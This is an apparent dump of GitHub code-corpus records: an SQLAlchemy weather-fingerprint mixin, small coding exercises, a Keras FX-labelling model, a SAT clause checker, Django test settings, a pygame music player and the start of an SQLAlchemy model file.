d[2])) for d in result)\n\n @property\n def SELECT_SAMPLE(self):\n if self._SELECT_SAMPLE is None:\n self._SELECT_SAMPLE = text(\"\"\"\n SELECT path, position FROM {file_table}, {fingerprint_table}\n WHERE {file_table}.id = {fingerprint_table}.file_id\n AND valid_date=:valid_date\n \"\"\".format(file_table=self.file_table, fingerprint_table=self.fingerprint_table))\n return self._SELECT_SAMPLE\n\n @property\n def SELECT_FIRST_SAMPLE(self):\n if self._SELECT_FIRST_SAMPLE is None:\n self._SELECT_FIRST_SAMPLE = text(\"\"\"\n SELECT path, position FROM {file_table}, {fingerprint_table}\n WHERE {file_table}.id = {fingerprint_table}.file_id AND fingerprint_r = (\n SELECT MAX(fingerprint_r) FROM {fingerprint_table}\n WHERE file_id IS NOT NULL)\n \"\"\".format(file_table=self.file_table, fingerprint_table=self.fingerprint_table))\n return self._SELECT_FIRST_SAMPLE\n\n @property\n def max_fingerprint_distance(self):\n if self._max_fingerprint_distance is None:\n GET_ALPHA = text(\"SELECT max_fingerprint_distance FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._max_fingerprint_distance = connection.execute(GET_ALPHA,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._max_fingerprint_distance is None:\n self._max_fingerprint_distance = 0.0\n return self._max_fingerprint_distance\n\n @max_fingerprint_distance.setter\n def max_fingerprint_distance(self, max_fingerprint_distance):\n self._max_fingerprint_distance = max_fingerprint_distance\n SET_ALPHA = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, max_fingerprint_distance)\n VALUES (:param, :domain, :dataset, :max_fingerprint_distance)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET max_fingerprint_distance=:max_fingerprint_distance\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_ALPHA,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n max_fingerprint_distance=max_fingerprint_distance)\n return self._max_fingerprint_distance\n\n ########################################################################\n\n @property\n def smoothness1_maximum(self):\n if self._smoothness1_maximum is None:\n GET_MINIMUM = text(\"SELECT smoothness1_maximum FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._smoothness1_maximum = connection.execute(GET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._smoothness1_maximum is None:\n self._smoothness1_maximum = 0.0\n return self._smoothness1_maximum\n\n @smoothness1_maximum.setter\n def smoothness1_maximum(self, smoothness1_maximum):\n self._smoothness1_maximum = smoothness1_maximum\n SET_MINIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, smoothness1_maximum)\n VALUES (:param, :domain, :dataset, :smoothness1_maximum)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET smoothness1_maximum=:smoothness1_maximum\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n smoothness1_maximum=smoothness1_maximum)\n return self._smoothness1_maximum\n\n @property\n def smoothness1_average(self):\n if self._smoothness1_average is None:\n GET_MINIMUM = text(\"SELECT smoothness1_average FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._smoothness1_average = connection.execute(GET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._smoothness1_average is None:\n self._smoothness1_average = 0.0\n return self._smoothness1_average\n\n @smoothness1_average.setter\n def smoothness1_average(self, smoothness1_average):\n self._smoothness1_average = smoothness1_average\n SET_MINIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, smoothness1_average)\n VALUES (:param, :domain, :dataset, :smoothness1_average)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET smoothness1_average=:smoothness1_average\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n smoothness1_average=smoothness1_average)\n return self._smoothness1_average\n\n @property\n def smoothness1_average_no_constants(self):\n if self._smoothness1_average_no_constants is None:\n GET_MINIMUM = text(\"SELECT smoothness1_average_no_constants FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._smoothness1_average_no_constants = connection.execute(GET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._smoothness1_average_no_constants is None:\n self._smoothness1_average_no_constants = 0.0\n return self._smoothness1_average_no_constants\n\n @smoothness1_average_no_constants.setter\n def smoothness1_average_no_constants(self, smoothness1_average_no_constants):\n self._smoothness1_average_no_constants = smoothness1_average_no_constants\n SET_MINIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, smoothness1_average_no_constants)\n VALUES (:param, :domain, :dataset, :smoothness1_average_no_constants)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET smoothness1_average_no_constants=:smoothness1_average_no_constants\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n smoothness1_average_no_constants=smoothness1_average_no_constants)\n return self._smoothness1_average_no_constants\n\n ########################################################################\n\n @property\n def smoothness2_maximum(self):\n if self._smoothness2_maximum is None:\n GET_MINIMUM = text(\"SELECT smoothness2_maximum FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._smoothness2_maximum = connection.execute(GET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._smoothness2_maximum is None:\n self._smoothness2_maximum = 0.0\n return self._smoothness2_maximum\n\n @smoothness2_maximum.setter\n def smoothness2_maximum(self, smoothness2_maximum):\n self._smoothness2_maximum = smoothness2_maximum\n SET_MINIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, smoothness2_maximum)\n VALUES (:param, :domain, :dataset, :smoothness2_maximum)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET smoothness2_maximum=:smoothness2_maximum\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n smoothness2_maximum=smoothness2_maximum)\n return self._smoothness2_maximum\n\n @property\n def smoothness2_average(self):\n if self._smoothness2_average is None:\n GET_MINIMUM = text(\"SELECT smoothness2_average FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._smoothness2_average = connection.execute(GET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._smoothness2_average is None:\n self._smoothness2_average = 0.0\n return self._smoothness2_average\n\n @smoothness2_average.setter\n def smoothness2_average(self, smoothness2_average):\n self._smoothness2_average = smoothness2_average\n SET_MINIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, smoothness2_average)\n VALUES (:param, :domain, :dataset, :smoothness2_average)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET smoothness2_average=:smoothness2_average\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n smoothness2_average=smoothness2_average)\n return self._smoothness2_average\n\n @property\n def smoothness2_average_no_constants(self):\n if self._smoothness2_average_no_constants is None:\n GET_MINIMUM = text(\"SELECT smoothness2_average_no_constants FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._smoothness2_average_no_constants = connection.execute(GET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._smoothness2_average_no_constants is None:\n self._smoothness2_average_no_constants = 0.0\n return self._smoothness2_average_no_constants\n\n @smoothness2_average_no_constants.setter\n def smoothness2_average_no_constants(self, smoothness2_average_no_constants):\n self._smoothness2_average_no_constants = smoothness2_average_no_constants\n SET_MINIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, smoothness2_average_no_constants)\n VALUES (:param, :domain, :dataset, :smoothness2_average_no_constants)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET smoothness2_average_no_constants=:smoothness2_average_no_constants\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n smoothness2_average_no_constants=smoothness2_average_no_constants)\n return self._smoothness2_average_no_constants\n\n ########################################################################\n\n @property\n def minimum(self):\n if self._minimum is None:\n GET_MINIMUM = text(\"SELECT minimum FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._minimum = connection.execute(GET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._minimum is None:\n self._minimum = 0.0\n return self._minimum\n\n @minimum.setter\n def minimum(self, minimum):\n self._minimum = minimum\n SET_MINIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, minimum)\n VALUES (:param, :domain, :dataset, :minimum)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET minimum=:minimum\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MINIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n minimum=minimum)\n return self._minimum\n\n @property\n def maximum(self):\n if self._maximum is None:\n GET_MAXIMUM = text(\"SELECT maximum FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._maximum = connection.execute(GET_MAXIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._maximum is None:\n self._maximum = 0.0\n return self._maximum\n\n @maximum.setter\n def maximum(self, maximum):\n self._maximum = maximum\n SET_MAXIMUM = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, maximum)\n VALUES (:param, :domain, :dataset, :maximum)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET maximum=:maximum\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MAXIMUM,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n maximum=maximum)\n return self._maximum\n\n @property\n def mean(self):\n if self._mean is None:\n GET_MEAN = text(\"SELECT mean FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._mean = connection.execute(GET_MEAN,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._mean is None:\n self._mean = 0.0\n return self._mean\n\n @mean.setter\n def mean(self, mean):\n self._mean = mean\n SET_MEAN = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, mean)\n VALUES (:param, :domain, :dataset, :mean)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET mean=:mean\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_MEAN,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n mean=mean)\n return self._mean\n\n @property\n def stddev(self):\n if self._stddev is None:\n GET_STDDEV = text(\"SELECT stddev FROM alpha where param=:param and domain=:domain and dataset=:dataset\")\n with cdsdb.begin() as connection:\n self._stddev = connection.execute(GET_STDDEV,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset).scalar()\n if self._stddev is None:\n self._stddev = 0.0\n return self._stddev\n\n @stddev.setter\n def stddev(self, stddev):\n self._stddev = stddev\n SET_STDDEV = text(\"\"\"\n INSERT INTO alpha (param, domain, dataset, stddev)\n VALUES (:param, :domain, :dataset, :stddev)\n ON CONFLICT (param, domain, dataset)\n DO UPDATE SET stddev=:stddev\n \"\"\")\n\n with cdsdb.begin() as connection:\n connection.execute(SET_STDDEV,\n param=self.param,\n domain=self.domain,\n dataset=self.dataset,\n stddev=stddev)\n return self._stddev\n\n def update_missing_sql_fields(self):\n\n select = text(\"\"\"\n SELECT valid_date FROM {table}\n WHERE file_id IS NOT NULL\n AND (field_max IS NULL OR field_min IS NULL)\n \"\"\".format(table=self.fingerprint_table))\n\n update = text(\"\"\"\n UPDATE {table}\n SET field_max = :field_max,\n field_min = :field_min\n WHERE valid_date = :valid_date\n \"\"\".format(table=self.fingerprint_table))\n\n with cdsdb.begin() as connection:\n\n result = connection.execute(select)\n dates = [cdsdb.sql_to_datetime(x[0]) for x in result]\n\n count = 0\n\n for d in dates:\n count += 1\n values = self.array(d)\n\n # print('Update', d)\n with cdsdb.begin() as connection:\n connection.execute(update, field_max=np.amax(values), field_min=np.amin(values), valid_date=d)\n\n if count:\n print('update_missing_sql_fields', count)\n\n def index_grib_file(self, target):\n insert_files = text(\"\"\"\n INSERT INTO {table} (path) VALUES (:path)\n --ON CONFLICT (path) DO NOTHING -- 9.5\n \"\"\".format(table=self.file_table))\n\n select_file_id = text(\"\"\"\n SELECT id FROM {table} WHERE path=:path\n \"\"\".format(table=self.file_table))\n\n # query_7 = text(\"\"\"\n # update {table}\n # set file_id = :file_id,\n # position = :position,\n # fingerprint_r = :fingerprint_r,\n # fingerprint_s = :fingerprint_s\n # where valid_date = :valid_date\n # \"\"\".format(table=self.fingerprint_table))\n\n query_7 = text(\"\"\"\n INSERT INTO {table} (file_id,\n position,\n fingerprint_r,\n fingerprint_s,\n field_max,\n field_min,\n valid_date)\n VALUES(:file_id, :position, :fingerprint_r, :fingerprint_s, :field_max, :field_min, :valid_date)\n ON CONFLICT(valid_date) DO UPDATE\n SET file_id = :file_id,\n position = :position,\n fingerprint_r = :fingerprint_r,\n fingerprint_s = :fingerprint_s,\n field_max = :field_max,\n field_min = :field_min\n \"\"\".format(table=self.fingerprint_table))\n\n n = 0\n with cdsdb.begin() as connection:\n connection.execute(insert_files, path=target)\n fileid = connection.execute(select_file_id,\n path=target).scalar()\n assert fileid is not None\n\n for g in GribFile(target):\n\n d = dict(file_id=fileid,\n valid_date=g.valid_date,\n position=int(g.offset))\n\n finger = FingerPrint(g.array,\n depth=3)\n\n finger.to_db(d)\n # print(query_7)\n d['field_max'] = np.amax(g.array)\n d['field_min'] = np.amin(g.array)\n # print(d)\n\n connection.execute(query_7, **d)\n n += 1\n\n print(self, 'added', n, 'field(s)')\n\n @property\n def sql_dates(self):\n\n if self._sql_dates is None:\n\n STMT = text(\"\"\"\n SELECT valid_date FROM {table}\n WHERE file_id IS NOT NULL\n ORDER BY valid_date\n \"\"\".format(table=self.fingerprint_table))\n\n with cdsdb.begin() as connection:\n result = connection.execute(STMT)\n self._sql_dates = [cdsdb.sql_to_datetime(x[0]) for x in result]\n return self._sql_dates\n","repo_name":"b8raoult/analogues","sub_path":"lib/analogues/objects/mixins/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":25786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"8712909340","text":"import math\n\n\ndef wind_info(runway, wind_direction, wind_speed):\n\tRH = int(\"\".join([c for c in runway if c.isdigit()]) + \"0\")\n\tWA = RH - wind_direction\n\tdir_wind = \"left\"\n\ti = 180\n\twhile i >= 0:\n\t\tif RH == wind_direction:\n\t\t\tdir_wind = 'right'\n\t\t\tbreak\n\t\tRH += 1\n\t\tRH = 0 if RH == 360 else RH\n\t\ti -= 1\n\tif WA <= 0:\n\t\tWA += 360\n\tHW = int(round(wind_speed * math.cos(math.radians(WA))))\n\tTW = int(round(wind_speed * math.sin(math.radians(WA))))\n\twind = \"Headwind\" if HW >= 0 else \"Tailwind\"\n\tif HW == 0:\n\t\tdir_wind = \"right\"\n\treturn f\"{wind} {abs(HW)} knots. Crosswind {abs(TW)} knots from your {dir_wind}.\"\n","repo_name":"wojciechGaudnik/CodeWars","sub_path":"Python/kyu6WindComponentCalculation.py","file_name":"kyu6WindComponentCalculation.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"73269822326","text":"hour=int(input())\nminute=int(input())\n\nminuteCheck=minute+15\nif minuteCheck > 59:\n hour = hour +1\n if hour == 24:\n hour = 0\n resultMinute = minuteCheck - 60\n if resultMinute // 10 == 0:\n print(str(hour)+\":0\"+str(resultMinute))\n else:\n print(str(hour)+\":\"+str(resultMinute))\n\nelse:\n resultMinute = minuteCheck\n if resultMinute // 10 == 0:\n print(str(hour)+\":0\"+str(resultMinute))\n else:\n print(str(hour)+\":\"+str(resultMinute))\n\n","repo_name":"maddrum/Python_Basics","sub_path":"02 - Conditional/time+15.py","file_name":"time+15.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"71564788085","text":"\n#%% imports \nimport technicals as t\nimport cloudfiles as c\nimport labelling as l\n\nimport pandas as pd\nimport numpy as np\nimport pathlib\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nplt.style.use('seaborn-colorblind')\nplt.style.use('seaborn-whitegrid')\n\nfrom sklearn.metrics import confusion_matrix\n\n#%% get file from gcloud\ncreds = pathlib.Path(\"/Users/laumandal/downloads/Real-Time Data Analysis-53764f4812aa.json\")\nbucket = 'hist_datasets'\nfilepath = pathlib.Path('eod/2019H1 30y/EURUSD_EOD.csv')\nc.dl_from_gcs(creds,bucket,filepath,localfolder='downloads')\n\n#%% feature extraction\n\ndlfile = pathlib.Path('downloads') / pathlib.Path(filepath.name)\ndf = pd.read_csv(dlfile,header=1, index_col=0)\n#drop values with N/A in index column (some left in csv from diff size data in excel)\ndf = df[df.index.notnull()]\ndf.index = pd.to_datetime(df.index, format=\"%d/%m/%Y\") # V IMPORTANT\ndf = df[['PX_LAST']]\n\n#%% Add technicals to the dataframe\n\n# [LAU NOTE: if want to train on multiple instruments' time series, need to normalize]\n# [i.e. moving average etc must be on returns]\n\npx = 'PX_LAST'\n\ndf['ret130'] = t.ret(df[px],130)\ndf['ret261'] = t.ret(df[px],261)\ndf['ma200'] = t.ma(df[px],200)\ndf['ma100'] = t.ma(df[px],100)\ndf['ma50'] = t.ma(df[px],50)\ndf['xover5_200'] = t.xover(df[px],5,200)\ndf['xover50_200'] = t.xover(df[px],50,200)\ndf['xover5_100'] = t.xover(df[px],5,100)\ndf['xover10_200'] = t.xover(df[px],10,200)\ndf['up2d261'] = t.up2down(df[px],261)\ndf['up2d130'] = t.up2down(df[px],130)\ndf['up2d65'] = t.up2down(df[px],65)\ndf['macd'] = t.macd(df[px])\ndf['rsi14'] = t.rsi(df[px],14)\ndf['rsi20'] = t.rsi(df[px],20)\ndf['rsi50'] = t.rsi(df[px],50)\n\n#%% visualization\nfig, ax = plt.subplots(1,1,figsize=(18,6))\ndf[['PX_LAST', 'ma50']].plot(ax=ax)\nplt.show()\n\n#%% labelling\nupper=0.03\nlower=0.03\ntimeout = pd.to_timedelta(2, unit='W')\n\nout = l.triple_barrier_label(df['PX_LAST'],upper=upper, lower=lower, timeout = timeout)\n\n#%% append labels to original df, drop NAs\ndf['label']=out['label']\ndf = df.dropna()\n\n#%% visualize labels\nfig, ax = plt.subplots(1,1,figsize=(18,6))\nax.scatter(out.index, out['label'], alpha=0.2)\n#plt.show())\n\n#%% build model\n\nfrom sklearn.model_selection import train_test_split\nimport tensorflow as tf\nfrom tensorflow.keras import layers\nprint(tf.__version__)\n\ntrain, test = train_test_split(df, test_size=0.2, shuffle=False)\ntrain, val = train_test_split(train, test_size=0.2, shuffle=False)\nprint(len(train), 'train examples')\nprint(len(val), 'validation examples')\nprint(len(test), 'test examples')\n\ndef df_to_dataset(dataframe, labelcol, shuffle=True, batch_size=32, ):\n dataframe = dataframe.copy()\n labels = dataframe.pop(labelcol)\n #convert labels from [-1,0,1] to [1,0,0],[0,1,0],[0,0,1]\n labels = tf.keras.utils.to_categorical(labels+1)\n ds = tf.data.Dataset.from_tensor_slices((dict(dataframe), labels))\n if shuffle:\n ds = ds.shuffle(buffer_size=len(dataframe))\n ds = ds.batch(batch_size)\n return ds\n\n#Take all columns as numeric except last one (label)\nnumeric_cols = list(train.columns)[0:-1]\n\nfeature_columns = []\nfor header in numeric_cols:\n feature_columns.append(tf.feature_column.numeric_column(header))\n\n# Now that we have defined our feature columns, \n# we will use a DenseFeatures layer to input them to our Keras model.\nfeature_layer = tf.keras.layers.DenseFeatures(feature_columns)\n\nbatch_size = 32\ntrain_ds = df_to_dataset(train,'label', batch_size=batch_size)\nval_ds = df_to_dataset(val,'label', shuffle=False, batch_size=batch_size)\ntest_ds = df_to_dataset(test,'label', shuffle=False, batch_size=batch_size)\n\n# build network\ntf.keras.backend.clear_session()\n\nmodel = tf.keras.Sequential([\n feature_layer,\n layers.Dense(128, activation='relu'),\n layers.Dense(128, activation='relu'),\n layers.Dense(128, activation='relu'),\n layers.Dense(3, activation='softmax')\n])\n\nmodel.compile(optimizer='adam',\n loss='categorical_crossentropy',\n metrics=['accuracy'],\n run_eagerly=True)\n\nmodel.fit(train_ds,\n validation_data=val_ds,\n epochs=5)\n\n#%% Check accuracy\nloss, accuracy = model.evaluate(test_ds)\nprint(\"Accuracy\", accuracy)\n\n#convert classes back to [-1,0,1]\npredictions = model.predict(test_ds)\nclasses = np.argmax(predictions, axis=1) - 1\n\n#Put predictions back on the test set pandas dataframe\ntest['predictions'] = classes\n\n#Check confusion matrix\nc=confusion_matrix(y_true=test.label, y_pred=test.predictions, labels=[-1,0,1])\nprint(c)\n\n#%% Save model\n\nmodel.save('saved_model/mlpv1') \n\n###\n# TO EVALUATE:\n# Precision\n# Recall\n# F1\n\n# config file to specify tests:\n# - contains a list of input files\n# - contains a list of models (or locations of files)\n# - contains a list of evaluations wanted\n\n\n#%%\n","repo_name":"laumandal/ml-trad-diss","sub_path":"mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"72041988085","text":"import itertools\n\n#https://stackoverflow.com/questions/4843158/check-if-a-string-is-a-substring-of-items-in-a-python-list-of-strings\n#http://elclubdelautodidacta.es/wp/2012/09/python-como-copiar-una-lista/\n#https://stackoverflow.com/questions/1228299/changing-one-character-in-a-string\n#https://www.delftstack.com/es/howto/python/python-list-replace-element/\n#https://www.askpython.com/python/list/find-string-in-list-python\n\ndef clausal(str):\n arreglo = []\n arreglo2 = []\n for i in str:\n i = i.replace('{','')\n i = i.replace('}','')\n arreglo.append(i)\n for i in arreglo:\n if(i != ''):\n arreglo2.append(i)\n print(arreglo2)\n\n\ndef clausalRec(str):\n arreglo = str.split('},')\n arreglo2 = []\n arreglo[0] = arreglo[0][1:]\n arreglo[-1] = arreglo[-1][:len(arreglo[-1])-2]\n for letra in arreglo:\n arreglo2.append(letra.replace('{',''))\n\n return arreglo2\n\ndef satisfier(arreglo):\n letras = []\n respuestas = []\n for element in arreglo:\n element = element.split(',')\n for l in element:\n l = l.replace('-', '')\n if l not in letras:\n letras.append(l)\n\n combinaciones = list(itertools.product('01', repeat= len(letras)))\n print(combinaciones)\n arreglo1 = arreglo[:]\n #print('arr1',arreglo1)\n #print('arr2',arreglo)\n for i in range(len(combinaciones)):\n arreglo = arreglo1[:]\n contador = 0\n for letra in letras:\n #print('l',letra)\n cambio = letra.replace(letra, combinaciones[i][contador] )\n\n respuestas.append(letra+'-'+cambio)\n #respuestas.append(int(cambio))\n contador+=1\n #print(respuestas)\n #aqui operacion\n\n for letra in arreglo:\n\n if '-' not in letra: #es positivo\n if len(letra)==1: #un solo caracter\n\n\n if any(letra in letra for letra in respuestas):\n\n matching = [s for s in respuestas if any(xs in s for xs in letra)]\n #print(matching[0].split('-')[1])\n #print('hype',arreglo[arreglo.index(letra)])\n arreglo[arreglo.index(letra)] = matching[0].split('-')[1]\n\n #print('yep')\n #print('h')\n else: # mas de un caracter\n #print('h len2')\n #print(letra)\n letra2 = letra[:]\n letra = list(letra)\n contador = 0\n for i in letra:\n #print(i)\n if i == ',': pass\n else:\n\n if any(i in i for i in respuestas):\n\n matching = [s for s in respuestas if any(xs in s for xs in i)]\n #print(matching[0].split('-')[1])\n #print('hype',arreglo[arreglo.index(letra)])\n #print('ex',letra[letra.index(i)])\n letra[letra.index(i)] = matching[0].split('-')[1]\n\n else:\n pass\n arreglo[arreglo.index(letra2)] = ''.join(letra)\n contador +=1\n else: # es negativo algun\n if len(letra) <= 2:\n #print('f',letra)\n letra2 = letra[:]\n letra = list(letra)\n #print('lista',letra)\n for i in letra:\n if i == '-':pass\n else:\n\n if any(letra in letra for letra in respuestas):\n\n matching = [s for s in respuestas if any(xs in s for xs in letra)]\n #print('hype2',matching[0].split('-')[1])\n #print('hype',letra[letra.index(i)])\n letra[letra.index(i)] = (matching[0].split('-')[1])\n #print('lll',letra)\n #print('yep')\n #print('h')\n arreglo[arreglo.index(letra2)] = ''.join(letra)\n\n else:\n print('f len2')\n letra = letra.split(',')\n print('let',letra)\n for il in letra:\n if '-' in il:\n letra2 = il[:]\n il = list(il)\n for i in il:\n print('if',i)\n if i == '-':pass\n else:\n\n if any(letra in letra for letra in respuestas):\n\n matching = [s for s in respuestas if any(xs in s for xs in il)]\n print('hype2 neg',matching[0].split('-')[1])\n print('hype neg',il[il.index(i)])\n il[il.index(i)] = (matching[0].split('-')[1])\n print('lll neg',il)\n #print('yep')\n #print('h')\n letra[letra.index(letra2)] = ''.join(il)\n print('leeee',letra)\n print('leee2',letra2)\n\n else:\n #positivo\n print('pos',il)\n if any(letra in letra for letra in respuestas):\n\n matching = [s for s in respuestas if any(xs in s for xs in letra)]\n #print(matching[0].split('-')[1])\n #print('hype',arreglo[arreglo.index(letra)])\n letra[letra.index(letra2)] = ','.join(letra)\n print('liiuuu',letra)\n arreglo[arreglo.index(letra)] = matching[0].split('-')[1]\n\n #print('yep')\n #print('h')\n #arreglo[arreglo.index(letra2)] = ','.join(letra)\n\n\n\n print(arreglo)\n arreglo = []\n\n respuestas = []\n\n\n\n\n\n#clausal('{{p},{-p,r}}')\n#clausal('{{r},{-q,-r},{-p,q,-r},{q}}')\n#print(clausalRec('{{r},{-q,-r},{-p,q,-r},{q}}'))\nprint('cla',clausalRec('{{r},{-q,-r},{-p,q,-r},{q}}'))\nsatisfier(clausalRec('{{r},{-q,-r},{-p,q,-r},{q},{-r}}'))\n\n#print('\\n POSITIVE')\n#satisfier(clausalRec('{{r},{-q,-r},{p,q,r},{q}}'))\n\n#satisfier(clausalRec('{{p,q,r},{q}}'))","repo_name":"bryannalfaro/ProyectoLogica-1","sub_path":"p1 copy.py","file_name":"p1 copy.py","file_ext":"py","file_size_in_byte":6710,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"41368336497","text":"import pygame\nimport random\n\nsongs = ['feelgoodinc.mp3',\n 'dare.mp3',\n 'stylo.mp3',\n '19_2000.mp3',\n 'clinteastwood.mp3']\n\nSONG_END = pygame.USEREVENT + 1\ndef playing_music(i):\n pygame.mixer.music.set_endevent(SONG_END)\n pygame.mixer.music.load(songs[i])\n pygame.mixer.music.play(0)\n\n\npygame.init()\nscreen = pygame.display.set_mode((400, 300))\nrunning = True\ni = 0\n\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RIGHT:\n pygame.mixer.music.stop()\n i += 1\n if i > len(songs) - 1:\n i = 0\n playing_music(i)\n elif event.key == pygame.K_LEFT:\n pygame.mixer.music.stop()\n i -= 1\n if i < 0:\n i = len(songs) - 1\n playing_music(i)\n if event.type == SONG_END:\n i += 1\n if i > len(songs) - 1:\n i = 0\n playing_music(i)\n pressed = pygame.key.get_pressed()\n if pressed[pygame.K_SPACE]:\n playing_music(i)\n if pressed[pygame.K_UP]:\n pygame.mixer.music.pause()\n if pressed[pygame.K_DOWN]:\n pygame.mixer.music.unpause()\n\n pygame.display.flip()\n","repo_name":"primeK31/pp2-22B030519","sub_path":"tsis7/music_player.py","file_name":"music_player.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42052898321","text":"def fac(n):\n if n<0:\n raise ValueError(\"Sorry... I haven't gotten around to implementing negative values for factorials yet. Please try again later.\")\n elif n<2:\n return 1\n else:\n #Naive multiplication (find something more efficient later)\n f=1\n for i in range(n,1,-1):\n f*=i\n return f\n","repo_name":"cjdipalma/eulertools","sub_path":"factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"2066543424","text":"import os\n\nPROJECT_DIR = os.path.abspath(os.path.dirname(__file__))\nSECRET_KEY = '95mk9r=y^bvver#6e#-169t9brqpcq#&@gjk*#!3lckf )p3'\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(PROJECT_DIR, 'test.db')\n }\n}\n","repo_name":"dennisv/django-storage-swift","sub_path":"tests/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"76"} +{"seq_id":"16780571591","text":"import os\nimport sys\nfrom sqlalchemy import Column, ForeignKey, Integer, String,Boolean\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import create_engine\nfrom eralchemy import render_er\n\nBase = declarative_base()\n\n# class Person(Base):\n# __tablename__ = 'person'\n# # Here we define columns for the table person\n# # Notice that each column is also a normal Python instance attribute.\n# id = Column(Integer, primary_key=True)\n# name = Column(String(250), nullable=False)\n\n# class Address(Base):\n# __tablename__ = 'address'\n# # Here we define columns for the table address.\n# # Notice that each column is also a normal Python instance attribute.\n# id = Column(Integer, primary_key=True)\n# street_name = 